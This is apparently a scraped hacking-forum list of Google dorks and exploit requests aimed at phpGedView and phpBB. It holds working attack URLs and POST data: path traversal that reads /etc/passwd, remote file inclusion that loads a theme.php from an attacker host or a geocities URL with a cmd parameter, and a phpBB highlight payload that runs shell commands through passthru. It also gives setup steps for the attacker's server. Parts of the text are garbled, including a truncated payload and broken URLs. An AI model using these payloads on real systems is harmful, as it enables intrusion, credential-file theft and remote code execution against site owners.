Google Hack dork Remote File Inclusion 21

- -- HTTP Request -- http://[target]/[phpGedView-directory]/editconfig_gedcom.php?gedcom_conf ig=../../../../../../etc/passwd or http://[target]/[phpGedView-directory]/editconfig_gedcom.php POSTDATA: gedcom_config=../../../../../../etc/passwd - -- HTTP Request -- Code impacted : editconfig_gedcom.php 61:if (empty($gedcom_config)) { 62: if (!empty($_POST["gedcom_config"])) $gedcom_config = $_POST["gedcom_config"]; 63: else $gedcom_config = "config_gedcom.php"; 64:} 65: 66:require($gedcom_config); The both GET/POST requets will work evenif PHP register_globals is Off. ------------------------------------------- II - PHP Injection (HIGH Risk no authentication needed) - -- HTTP Request -- http://[target]/[phpGedView-directory]/index/[GED_File]_conf.php?PGV_BAS E_DIRECTORY=http://attacker&THEME_DIR=/ - -- HTTP Request -- Code impacted : [GED_File]_conf.php 123:if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php")) require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php"); 124:else { 125: $THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/"; 126: require($THEME_DIR."theme.php"); 127: } The require call is only vulnerable when PHP register_globals is On. In this case you have to obtain the name of the GEDCOM File used. Just perform a http://[target]/session.php request the GEDCOM file will be in argument of the login.php call. The attacker has to create on his web site a directory call themes/standard, and a file theme.php For example: theme.php = " ;?> and the request, will execute the phpinfo() command on the vulnerable target. 37. inurl:signup.php?usertype=pf http://www.contoh.com/common.inc.php?CFG[libdir]=http://www.geocities.com/k4k3_rgb/test?cmd ============================================================================= /phpBB2/viewtopic.php?t=36&highlight=%2527.passthru($HTTP_GET_VARS[sh]).%2527&sh=ls%20-al